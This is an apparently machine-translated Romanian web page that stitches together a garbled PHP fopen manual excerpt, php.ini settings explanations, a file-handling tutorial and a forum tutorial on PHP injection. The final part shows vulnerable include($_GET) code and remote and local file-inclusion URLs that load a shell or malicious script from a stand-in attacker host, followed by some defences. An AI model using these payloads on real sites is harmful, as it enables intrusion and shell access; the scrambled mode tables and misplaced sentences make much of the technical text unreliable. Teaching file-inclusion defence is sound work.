Acasă / Console de jocuri / Lucrul cu fișiere în php: deschidere, scriere, citire. PHP proc_open blochează o solicitare web? Gestionarea erorilor și jurnalele

Lucrul cu fișiere în php: deschidere, scriere, citire. PHP proc_open blochează o solicitare web? Gestionarea erorilor și jurnalele

(PHP 4, PHP 5, PHP 7)

fopen - Deschide un fișier sau o adresă URL

Descriere

Resursă fopen (șir $filename , șir $mode [, bool $use_include_path = false [, resursa $context ]])

fopen() atribuie resursa numită specificată în argumentul nume de fișier fluxului.

Lista parametrilor

Dacă numele fișierului este transmis sub forma „scheme://...”, este considerat un URL și PHP va căuta un handler de protocol (cunoscut și ca „wrapper”) pentru schema respectivă protocol, PHP va emite un avertisment pentru a vă ajuta să găsiți o problemă potențială în scriptul dvs. și apoi să continuați execuția ca și cum numele fișierului ar indica un fișier obișnuit.

Dacă PHP setează numele fișierului să trimită către un fișier local, atunci încearcă să deschidă un flux către acel fișier.

Fișierul trebuie să fie accesibil de către PHP, așa că ar trebui să vă asigurați că permisiunile fișierului permit acest lucru.

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

Dacă PHP determină că numele de fișier indică un protocol înregistrat și acel protocol este înregistrat ca URL de rețea, PHP verifică starea directivei allow_url_fopen. Dacă este dezactivat, PHP va emite un avertisment și apelul fopen va eșua. Comentariu O listă de protocoale acceptate este disponibilă în secțiunea Protocoale și pachete acceptate. Unele protocoale ( ambalaje folosit de wrapper http).

Pe platforma Windows, trebuie să scăpați de toate barele oblice inverse din calea fișierului sau să utilizați barele oblice înainte.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

Parametrul mode specifică tipul de acces pe care îl solicitați de la fir. Poate fi una dintre următoarele opțiuni:

Lista modurilor posibile pentru fopen() utilizarea modului
modul Descriere
"r" Deschide fișierul numai în citire; plasează indicatorul la începutul fișierului.
"r+" Deschide un fișier pentru citire și scriere; plasează indicatorul la începutul fișierului.
"w" Deschide fișierul numai pentru scriere; plasează un indicator la începutul fișierului și trunchiază fișierul la lungimea zero.
Dacă fișierul nu există, încearcă să-l creeze. "w+"
Deschide un fișier pentru citire și scriere; plasează un indicator la începutul fișierului și trunchiază fișierul la lungimea zero. Dacă fișierul nu există, încearcă să-l creeze.
"o" Deschide fișierul numai pentru scriere; plasează indicatorul la sfârșitul fișierului. Dacă fișierul nu există, încearcă să-l creeze.
"a+" Deschide un fișier pentru citire și scriere; plasează indicatorul la sfârșitul fișierului. Dacă fișierul nu există, încearcă să-l creeze. fopen()"x" Creează și deschide doar pentru scris; plasează indicatorul la începutul fișierului. Dacă fișierul există deja, sunați se termină cu eșec, se va întoarce FALSși va da o eroare de nivel E_AVERTISMENT. Dacă fișierul nu există, va încerca să-l creeze. Acest lucru este echivalent cu specificarea steagurilor.
O_EXCL|O_CREAT pentru apelul de sistem intern "a+".
deschis(2) "x+" "w" Creează și deschide spre citit și scris; in rest are acelasi comportament ca "a+""c" Deschide fișierul doar pentru scriere. Dacă fișierul nu există, acesta este creat. Dacă fișierul există, atunci nu este trunchiat (spre deosebire de "w"), iar apelarea acestei funcții nu provoacă o eroare (cum este cazul ). Indicatorul fișierului va fi setat la începutul fișierului. Acest lucru poate fi util dacă doriți să blocați un fișier (vezi turmă()
) înainte de schimbare, de la utilizare poate trunchia fișierul înainte ca blocarea să fi fost obținută (dacă doriți să trunchiați fișierul, puteți utiliza funcția deschis(2).

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

ftruncate() după o cerere de blocare)."c+" Deschide un fișier pentru citire și scriere; in rest are acelasi comportament ca Diferite familii de sisteme de operare au convenții diferite în ceea ce privește terminațiile de linie. Când scrieți text și doriți să introduceți o întrerupere de linie, trebuie să utilizați caracterele (sau simbolul) corecte pentru dvs sistem de operare. Utilizarea sistemelor din familia Unix \n așa cum folosesc caracterele de sfârșit de linie și sistemele Macintosh \r ca caracter de sfârșit de linie.

Dacă utilizați un caracter de sfârșit de linie greșit atunci când editați fișiere, este posibil să descoperiți că acele fișiere arată „ciudat” când le deschideți.

Windows oferă un semnalizare mod de difuzare text ( "t"), care se va traduce automat Deschide un fișier pentru citire și scriere; in rest are acelasi comportament ca V \nîn timp ce lucrați cu un fișier. Și invers - puteți folosi și"b" Și invers - puteți folosi și pentru a forța modul binar, care nu vă va converti datele. Pentru a utiliza aceste moduri, specificați "t" sau

ultima literă a parametrului mode. "t" Deoarece setarea implicită a semnalizatorului de traducere depinde de versiunea SAPI și PHP utilizată, vă recomandăm să setați în mod explicit indicatorul specificat din motive de portabilitate. Trebuie să utilizați modul dacă lucrezi cu fișier text Deschide un fișier pentru citire și scriere; in rest are acelasi comportament cași utilizarea Și invers - puteți folosi și.

pentru a marca sfârșitul unei linii în script-ul dvs. fără să vă faceți griji cu privire la lizibilitatea fișierelor dvs. în alte aplicații precum Notepad. În toate celelalte cazuri, utilizați steagul \n.

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

Dacă nu specificați în mod explicit indicatorul „b” atunci când lucrați cu fișiere binare, este posibil să aveți o corupție ciudată a datelor dvs., inclusiv fișiere de imagine corupte și probleme ciudate cu simboluri fopen() .

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

Din motive de portabilitate, este recomandat să folosiți întotdeauna indicatorul „b” atunci când deschideți fișiere cu "t"În plus, din motive de portabilitate, se recomandă insistent să rescrieți codul vechi care se bazează pe Și invers - puteți folosi și.

astfel încât să folosească în schimb terminațiile de linie și modul adecvat

use_include_path Al treilea parametru opțional use_include_path poate fi setat la „1” sau ADEVĂRAT

dacă doriți să căutați și un fișier în include_path .

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.: Context Suportul de context a fost adăugat în PHP 5.0.0. Pentru descriere contexte

vezi secțiunea Fluxuri.

Valori returnate Creează și deschide doar pentru scris; plasează indicatorul la începutul fișierului. Dacă fișierul există deja, sunați Returnează un pointer către fișier dacă are succes, sau

în caz de eroare.

Erori FALS Dacă fișierul nu a putut fi deschis, va fi generată o eroare de nivel

. Puteți utiliza operatorul pentru a suprima această eroare.

Lista modificărilor

Exemple fopen()

Exemplul #1 Exemple de utilizare
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( „ftp://utilizator:[email protected]/somefile.txt"
?>

, "w");

Note

Atenţie Când utilizați SSL, Microsoft IIS încalcă protocolul prin închiderea conexiunii fără a trimite un indicator. PHP va raporta acest lucru ca „SSL: Fatal Protocol Error” în momentul în care ajungeți la sfârșitul datelor. Pentru a ocoli acest lucru, ar trebui să setați error_reporting la un nivel care exclude E_WARNING. Versiunile PHP 4.3.7 și mai vechi pot detecta că există un IIS problematic pe partea serverului la deschiderea unui flux folosind un wrapper https://și nu afișează un avertisment. Dacă utilizați fsockopen() a crea ssl:// priza, este responsabilitatea dumneavoastră să detectați și să suprimați acest avertisment.

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.: Când opțiunea mod sigur este activată, PHP verifică dacă directorul cu care sunteți pe cale să lucrați are același UID (proprietar) ca și scriptul care se execută.

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

Dacă întâmpinați probleme în timp ce citiți sau scrieți fișiere și utilizați PHP ca modul de server, asigurați-vă că procesul serverului are acces la fișierele și directoarele pe care le utilizați.

Dacă ați activat modul sigur sau open_basedir, se aplică restricții suplimentare.:

Această funcție poate avea succes și dacă numele fișierului este un director. Dacă nu sunteți sigur dacă numele fișierului este un fișier sau un director, atunci trebuie să utilizați funcția is_dir() fopen() .

, înainte de apel

  1. Locația fișierului php.ini depinde de sistemul de operare pe care rulează serverul furnizorului de găzduire. Pentru a afla unde se află, urmează 4 pași simpli:
  2. Creați un fișier php (numele poate fi orice, dar luăm myphpinfo.php ca exemplu) și adăugați următoarele rânduri la el:
  3. Încărcați acest fișier pe serverul pe care se află site-ul dvs. (în folderul rădăcină).
  4. Lansăm prin browser (introduceți adresa URL https://yoursitename.com/myphpinfo.php).

În fereastra care apare, căutați calea către php.ini (priviți mai întâi la „Fișier de configurare încărcat”, dacă scrie „Niciuna”, apoi uitați-vă la „Calea fișierului de configurare (php.ini)”).

Cum se configurează php.ini? Fișierul php.ini are următoarele reguli de sintaxă „directive = value”. Dacă doriți să adăugați comentarii (de exemplu, în care indicați ce afectează această setare

), apoi faceți-o după punct și virgulă (tot ce vine după acest semn nu este socotit ca o comandă). Iată un exemplu:

max_execution_time = 40 ; Numărul maxim de secunde pentru execuția scriptului

Setări generale

PHPengine = Pornit; Scripturile PHP sunt activate.

Short_open_tag = Activat ; Permite încadrarea simplificată a codului PHP cu etichete<% %>

Asp_tags = Activat ; Permite posibilitatea de a evidenția codul PHP, așa cum se face în ASP -

Precizie = 12 ; Specifică câte cifre vor fi după virgulă zecimală pentru numerele cu virgulă mobilă.

Ieșire_buffering = 4096 ; Bufferingul de ieșire va fi activat automat, cu dimensiunea tamponului specificată după „egal”.

Safe_mode_allowed_env_vars = PHP_ ; Permite utilizatorului să lucreze numai cu variabile de mediu care încep cu PHP_. Dacă această directivă este goală (nu va avea nicio valoare), atunci utilizatorii vor putea modifica orice variabilă de mediu. Acest lucru poate fi foarte dăunător pentru securitatea scriptului.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Interzice modificarea variabilelor care sunt enumerate separate prin virgule.

Disable_functions = ; După semnul egal, trebuie să notați funcțiile pe care doriți să le dezactivați, separate prin virgule (de obicei, acest lucru se face pentru securitate)

Disable_classes = ; După semnul „egal”, trebuie să scrieți, separate prin virgule, clasele ale căror apeluri doriți să le interziceți (de obicei, acest lucru se face pentru securitate)

Limitarea resurselor

max_execution_time = 40 ; Timp maxim pentru execuția scriptului (în secunde)

Timp_intrare_maxim = 40 ; Timpul maxim în secunde în care script-ul este acordat pentru a procesa datele care sunt încărcate.

Memory_limit = 16M ; Memoria maximă alocată pentru un script

Gestionarea erorilor și jurnalele

error_reporting = E_ALL | E_EROARE | E_AVERTISMENT | E_PARSE | E_CORE_ERROR | E_CORE_AVERTISMENT | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Specifică o listă de erori care pot fi afișate.

Display_errors = Activat; Permite afișarea erorilor direct în browser (utilizat adesea pentru ușurința depanării).

Display_startup_errors = Activat ; Erorile care apar în timpul pornirii PHP pot fi afișate.

Log_errors = Activat ; Erorile pot fi scrise într-un fișier jurnal.

Log_errors_max_len = 1024 ; Numărul maxim de caractere care poate fi lungimea jurnalului.

Track_errors = Activat ; Cele mai recente mesaje de eroare vor fi stocate în variabila $php_errormsg

Html_errors = Activat ; Permiteți afișarea mesajelor de eroare în HTML.

Error_log = nume de fișier ; Setează numele jurnalului de erori.

Prelucrarea datelor

variabile_ordine = "EGPCS" ; Setează ordinea în care PHP va înregistra variabilele (E - variabile încorporate, G - variabile GET, P - variabile POST, C - Cookies, S - sesiuni). Dacă eliminați oricare dintre litere, funcționarea variabilelor corespunzătoare va fi blocată.

Register_globals = Activat ; Permite abilitatea de a trata variabilele care vin prin GET/POST/Cookie/session ca variabile normale (de exemplu, „$variablename”).

Register_argc_argv = Activat ; Este permisă crearea variabilelor $argv și $argc pe baza informațiilor din metoda GET.

Post_max_size = 8M ; Setează cantitatea maximă de date care poate fi primită.

Magic_quotes_gpc = Activat ; Permite procesarea automată a ofertelor primite prin POST/GET/Cookie.

Auto_prepend_file = ; Conținutul fișierelor specificate în aceste directive trebuie să fie procesat corespunzător de PHP ÎNAINTE de a executa scriptul
auto_append_file = ; Conținutul fișierelor specificate în aceste directive trebuie să fie procesat corespunzător de PHP DUPĂ ce scriptul a fost executat.

Default_mimetype = "text/html" ; Setează codificarea pentru tipul de conținut. În mod implicit text/html va fi folosit fără a specifica codificarea

Doc_root = ; Setează folderul rădăcină pentru scripturile PHP.

Extension_dir = "./" ; Specifică folderul în care vor fi stocate extensiile încărcate dinamic.

Încărcarea fișierelor

file_uploads = Activat ; Încărcarea fișierelor pe server este permisă.

Upload_tmp_dir = ; Director temporar pentru fișierele de descărcat.

Upload_max_filesize = 2M; Setează dimensiunea maximă a fișierului care poate fi încărcat.

Lucrul cu prize

user_agent="PHP"; Variabila USER_AGENT este setată atunci când are loc o conexiune la socket.

Default_socket_timeout = 30 ; Timp maxim de ascultare pe o priză (secunde).

Sesiuni

session.save_handler = fișiere; Specifică faptul că informațiile despre sesiune ar trebui să fie stocate în fișiere

session.save_path = /tmp ; După semnul egal, trebuie să specificați calea către folderul în care vor fi stocate informațiile despre sesiuni (este important ca folderul să existe deja)

session.use_cookies = 1 ; Permite utilizarea cookie-urilor în sesiuni

session.name = PHPSESSID ; Indică utilizarea ID-ului sesiunii ca nume de sesiune și cookie de sesiune

session.cookie_lifetime = 0; Durata de viață a sesiunii („0” înseamnă că sesiunea este valabilă până când fereastra browserului este închisă)

session.use_trans_sid = 1 ; Dacă utilizatorul a dezactivat cookie-urile, ID-ul sesiunii va fi adăugat la toate linkurile

Extensii dinamice

extensie=modulename.extension ; Poate fi folosit pentru a încărca module externe. Pentru sistemele Windows, de obicei scriu extension=msql.dll și pentru
UNIX - extensie=msql.so

Lucrul cu module MySQL

mysql.allow_persistent = Activat; Permite conexiuni MySQL stabile.

Mysql.max_persistent = -1 ; Setează numărul maxim de conexiuni MySQL stabile. Dacă specificați -1, aceasta va însemna că nu există restricții.

Mysql.max_links = -1 ; Setează numărul maxim de conexiuni MySQL stabile și conexiuni ODBC instabile. Dacă specificați -1, aceasta va însemna că nu există restricții.

Mysql.default_port = ; Port pentru funcția mysql_connect.

Mysql.default_socket = ; Numele socket-ului pentru conexiunile locale MySQL.

Mysql.default_host = ; Nume de gazdă pentru funcția mysql_connect.

Mysql.default_user = ; Nume de utilizator.

Mysql.default_password = ; Parolă.

Dacă ați creat propriul fișier php.ini și l-ați plasat în folderul site-ului

În acest caz, din motive de securitate, trebuie să blocați accesul la acesta pentru toată lumea, cu excepția dvs. Pentru a face acest lucru, trebuie să scrieți următorul cod în fișierul .htaccess:


comanda permite, refuza
nega de la toti

Dar ai grijă, pentru că... Cu aceste setări, toate directivele (php_value, php_flag etc.) referitoare la setările php prin fișierul .htaccess vor înceta să funcționeze (va fi afișată o eroare internă de server 500).

Important! Dacă vă creați propriul fișier php.ini, acesta va afecta doar directorul în care se află.

resursă fopen(nume fișier șir, mod șir [, bool use_include_path [, resursa zcontext]])

fopen() atribuie resursa numită specificată în argumentul nume de fișier fluxului. Dacă numele fișierului este transmis sub forma „scheme://...”, este considerat un URL și PHP va căuta un handler de protocol (cunoscut și ca „wrapper”) pentru schema respectivă protocol, PHP va emite o notă pentru a vă ajuta să găsiți o problemă potențială în scriptul dvs. și va continua execuția ca și cum numele fișierului ar indica un fișier obișnuit.

Dacă PHP decide că numele de fișier indică un fișier local, atunci va încerca să deschidă un flux către acel fișier. Fișierul trebuie să fie accesibil de către PHP, așa că ar trebui să vă asigurați că permisiunile fișierului permit acest lucru. Dacă aveți modul Safe Mode sau open_basedir activat, se aplică restricții suplimentare.

Dacă PHP a decis că numele fișierului indică un protocol înregistrat și acel protocol este înregistrat ca URL de rețea, PHP va verifica starea directivei allow_url_fopen. Dacă este dezactivat, PHP va emite un avertisment și apelul fopen va eșua.

Comentariu: Unele protocoale acceptă context și/sau opțiuni php.ini. Consultați pagina de protocol corespunzătoare pentru o listă de opțiuni care pot fi setate. (de exemplu, valoarea php.ini user_agent este folosită de wrapper-ul http). Pentru o descriere a contextelor și a parametrilor zcontext, consultați secțiunea Funcții de flux.

Comentariu: Suportul de context a fost adăugat în PHP 5.0.0.

Comentariu:Începând cu PHP 4.3.2, modul binar este modul implicit pentru toate platformele care fac diferența între modurile binar și text. Dacă întâmpinați probleme după actualizare, încercați să utilizați indicatorul „t” ca o soluție până când vă schimbați scripturile pentru a obține o portabilitate mai mare, așa cum s-a menționat mai sus.

Parametrul mode specifică tipul de acces pe care îl solicitați de la fir. Poate fi unul dintre următoarele:

Dacă fișierul nu a putut fi deschis, funcția va reveni FALSși va genera o eroare de nivel E_AVERTISMENT. Puteți folosi acest lucru pentru a suprima acest avertisment.


Exemplul 1. Exemple de utilizare a funcției fopen()

Exemplul #1 Exemple de utilizare
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( „ftp://utilizator:[email protected]/somefile.txt"
?>

Dacă întâmpinați probleme în timp ce citiți sau scrieți fișiere și utilizați PHP ca modul de server, asigurați-vă că procesul serverului are acces la fișierele și directoarele pe care le utilizați.

16,5K

De fapt, cum să deschideți un fișier php nu este o problemă mare. Poate fi mai greu să deschizi o sticlă de bere când te afli în mijlocul unei păduri. Dar doar programatorii pasionați gândesc așa. Și pentru începători, vă vom spune despre toate capabilitățile PHP pentru lucrul cu fișiere:

fișiere php

Fișierele cu extensia php conțin cod scris în limbajul de programare cu același nume. Spre deosebire de alte limbi, php este un limbaj de programare pe partea de server. Adică rulează pe partea de server. Prin urmare, pentru a-și depana codul, trebuie instalat un server local pe mașina client.

Pentru a lucra cu fișiere php, se folosesc aplicații speciale - editori de software. Cele mai frecvente sunt:

  • Dreamweaver.
  • PHPEdit.
  • Dezvoltare PHP Eclipse.
Când creați site-uri web bazate pe PHP, poate fi necesar să reutilizați codul programului. În astfel de situații, este convenabil să conectați soluții gata făcute aflate într-un alt fișier. Construcția include este folosită pentru aceasta. Sintaxa sa este:

include numele fișierului

Exemplu de conexiune:

Fișier inclus:


Includerea unui fișier este posibilă și folosind constructul require. Spre deosebire de include, acesta include fișierul înainte ca codul programului să fie executat. Folosind require în cod, este posibil un singur apel la acest fișier. Când este accesat din nou, sistemul va afișa un mesaj de eroare global și va opri execuția programului.

Construcția include include doar sursa în timpul execuției programului. Suporta citirea multiplă a fișierului php. Dacă apare o eroare, va fi afișat doar un mesaj de avertizare, iar execuția codului va continua de la următoarea linie.

Deschiderea și închiderea fișierelor

În php, toate operațiunile cu fișiere sunt efectuate în mai multe etape:

  • Deschiderea unui fișier;
  • Editarea continutului;
  • Închiderea dosarului.

Funcția fopen() este folosită pentru a deschide un fișier. Sintaxa sa este:

int fopen(nume fișier șir, mod șir [, int use_include_path])

Argumente acceptate:

  • șir nume fișier – numele fișierului sau calea absolută către acesta. Dacă calea către fișier nu este specificată, acesta va fi căutat în directorul curent. Dacă fișierul pe care îl căutați lipsește, sistemul va afișa un mesaj de eroare. Exemplu:

  • modul șir – indică modul de deschidere a fișierului. Valori acceptate de argument:
  • r – fișierul este deschis doar pentru citire, indicatorul fișierului este setat la început;
  • r+ – fișierul este deschis pentru citire și scriere;
  • w – creează un fișier nou doar pentru scriere. Dacă un fișier cu același nume există deja, toate datele din acesta sunt șterse automat;
  • w+ - creează un fișier nou pentru scriere și citire. Când un astfel de fișier există, datele sale sunt complet suprascrise cu altele noi;
  • a – fișierul este deschis pentru scriere. Indicatorul este setat la sfârșit. Adică, scrierea în fișierul php va începe nu de la început, ci de la sfârșit;
  • a+ – deschideți un fișier în modul citire-scriere. Înregistrarea va începe de la sfârșit;
  • b – modul de lucru cu un fișier care conține date binare (în sistemul de numere binar). Acest mod este disponibil numai pe sistemul de operare Windows.

Pentru a închide accesul la un fișier, utilizați funcția fclose(). Sintaxă:

int fclose (fișier int), unde fișierul int este un handle al site-ului care urmează să fie închis.

După fiecare citire sau scriere, fișierul trebuie închis cu această funcție. În caz contrar, fluxul creat pentru fișier rămâne deschis. Și acest lucru duce la un consum inutil al capacității serverului.

Exemplu:

Citirea și scrierea fișierelor

Pentru a afișa pur și simplu întregul conținut al unui fișier, funcția readfile() este ideală. Sintaxa sa este:

readfile (șir nume fișier), unde șir nume fișier este numele fișierului șir (nu un handle).


Același fișier poate fi citit folosind funcția fpassthru(). Citește datele de la poziția indicatorului final până la sfârșitul fișierului. Sintaxa sa este:

int fpassthru (fișier int)

Funcția necesită deschiderea și închiderea unui fișier. Exemplu:

Rezultatul este similar cu cel precedent.

Funcțiile pentru lucrul cu fișiere în php vă permit să citiți conținutul rând cu linie și caracter cu caracter:

  • șir fgets (fișier int, lungime int)– funcția citește un șir de lungime . Exemplu:

  • string fread (fișier int, lungime int)– acțiunea este identică cu cea anterioară.

Pentru a scrie date text într-un fișier, există două funcții identice:

  • int fputs (fișier int, șir de caractere [, lungime int ])
  • int fwrite(fișier int, șir șir [, lungime int ])

Funcțiile scriu într-un fișier int fișier un șir de caractere cu lungimea specificată int lungime ( argument opțional). Exemplu:

Crearea și ștergerea fișierelor

Pentru a crea un fișier php, puteți utiliza funcția fopen() în modul de acces „w” sau „w+”. Sau funcția touch(). Setează ora de modificare a fișierului. Dacă nu există niciun element cu numele căutat, acesta va fi creat. Sintaxa sa.

Elementele de bază ale injecției PHP pentru începători.​


injecție PHP(ing. PHP injectie) - despre Una dintre modalitățile de a pirata site-urile care rulează pe PHP este să executați cod străin pe partea de server. Funcțiile potențial periculoase sunt:
eval(),
preg_replace() (cu modificatorul „e”),
cere_o dată(),
include_once(),
include(),
cere(),
funcția_creare().

Injectarea PHP devine posibilă dacă parametrii de intrare sunt acceptați și utilizați fără validare.

Faceți clic pentru a extinde...

(c) Wiki


Bazele.​

injecție PHP- aceasta este o formă de atac asupra unui site web când atacatorul își injectează codul PHP în aplicația PHP atacată.
Dacă injecția are succes, atacatorul poate executa cod PHP arbitrar (potențial periculos) pe serverul țintă. De exemplu, umpleți coaja. Dar mai întâi, să discutăm în detaliu cum se întâmplă acest lucru.

De exemplu:
Să ne imaginăm că avem un site web scris în PHP.
Să ne imaginăm și că site-ul folosește comanda page=page.html pentru a afișa pagina solicitată.
Codul va arăta astfel:

$fișier = $_GET [„pagină”]; //Pagină afișată
include($fișier);
?>

Aceasta înseamnă că tot ce este afișat pe pagină va fi încorporat în codul PHP al acelei pagini. Prin urmare, un atacator ar putea face ceva de genul:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Dacă ne uităm la ce se întâmplă după ce includerea este executată, vedem următorul cod executat pe serverul țintă:

$file = „http://www.attack_server.com/malicious_script.txt?”; //$_GET[„pagina”];
include($fișier); //$file este un script injectat de un atacator
?>

Vedem că atacatorul a atacat cu succes serverul țintă.

Mai multe detalii:
Deci, de ce a putut atacatorul să efectueze o injecție PHP?
Totul pentru că funcția include() vă permite să rulați fișiere la distanță.

De ce a fost specificat scriptul cu extensia în exemplu *.TXT , nu *.php ?
Răspunsul este simplu, dacă scriptul avea formatul *.php , ar rula pe serverul atacatorului și nu pe sistemul țintă.

A fost adăugat și simbolul „ ? " în calea scriptului injectat pentru a elimina orice din interiorul funcției include() pe serverul țintă.
Exemplu:

$fișier = $_GET [„pagină”];
include($fișier . ".php" );
?>

Acest script adaugă extensia *.php la orice chemat de comandă include() .
Aceste.

http: //www.attack_server.com/malicious_script.txt

se transformă în

http: //www.attack_server.com/malicious_script.txt.php

Scriptul nu va rula cu acest nume (fișierul nu există pe serverul atacatorului /malicious_script.txt.php)
De aceea adăugăm „?” până la sfârșitul căii către scriptul rău intenționat:

http: //www.attack_server.com/malicious_script.txt?.php

Dar rămâne executabil.

Efectuarea de injectii PHP prin vulnerabilitatea functiei include().​

RFI - includere la distanță în timpul injectării PHP.​


Capacitatea de a efectua RFI este o eroare destul de comună în motoare.
Îl puteți găsi după cum urmează:
Să presupunem că întâlnim accidental o pagină care se termină astfel în bara de adrese a browserului:

/index. php? pagina = main

Inlocuim in schimb principal orice sens delirant, de exemplu upyachka

/index. php? pagina = upyachka

Ca răspuns vom primi o eroare:

Avertisment: principal (upyachka. php): nu s-a deschis fluxul: nu există un astfel de fișier sau director în / home / user / www //page.php pe linia 3

Avertisment: principal (upyachka. php): nu s-a deschis fluxul: nu există un astfel de fișier sau director în / home / user / www / page. php pe linia 3

Avertisment: main (): Deschiderea „upyachka.php” eșuată pentru includere (include_path = „.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear”) în /home/user/www/page. php pe linia 3

Acest lucru ne arată că includerea este fezabilă.
Să încercăm să înlocuim upyachka site-ul cu calea către shell (extensia fișierului shell nu trebuie specificată sau indicată așa cum este descris mai sus)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Așa se obține coaja. Acum trebuie să informați administratorul site-ului despre vulnerabilitate, astfel încât să o poată remedia, astfel încât băieții răi să nu profite de eroare.

LFI - include local pentru injectarea PHP.​


Să ne imaginăm că am dat peste același site vulnerabil

/index. php? fișier=principal

Cu cod

..
Include ("folder/ $page .htm");

?>

Aceasta este deja o includere locală. În această situație, este posibilă doar listarea fișierelor:

/index. php? pagina =../ index . php

În următorul caz, codul arată astfel:

..
Include("$dir1/folder/page.php");

?>

În acest caz, puteți scrie calea către shell după cum urmează:
Creați un folder pliant pe site-ul web unde este stocat shell-ul, aruncați shell-ul în acest folder:

http: //www.attack_site.com/folder/shell.php

Injecția în acest caz va arăta astfel:

index. php? dir1 = http : //www.site_attacker.com/

Metode de protecție


Să ne uităm la script:

...

include $module . „.php”;
...
?>

Acest script este vulnerabil deoarece conținutul variabilei $modul tocmai adaugat *.php iar fișierul este lansat folosind calea rezultată.

Există mai multe modalități de a vă proteja împotriva unui astfel de atac:​


-Verificați dacă variabila $module conține caractere străine:

...
$modul = $_GET [„modul” ];
if (strpbrk ($modul , ".?/:" )) die ("Blocat" );
include $module . „.php”;
...
?>

-Verificați că lui $module i se atribuie una dintre valorile valide:
"/" , "" , $pagina ); // Posibilitatea de a muta în alte directoare este blocată.
dacă (fișier_există ("fișiere/ $pagină .htm"))
{
Include ("fișiere/$page.htm" );
}
Altfel
{
Ecou
„eroare”;
}

?>

PHP oferă, de asemenea, posibilitatea de a dezactiva utilizarea fișierelor de la distanță, acest lucru se face prin schimbarea valorii opțiunii allow_url_fopen la Off din fișierul de configurare php.ini.

Vulnerabilitatea descrisă reprezintă un pericol mare pentru site și autorii scripturilor PHP nu ar trebui să uite de ea.

La scris, materiale din
Wikipedia,
de pe forumul străin security-sh3ll (spl0it),
de pe forumul Antichat (GreenBear).
Mulțumiri speciale BurtŞi f02 pentru ajutorul tau,
sprijin și critică bună)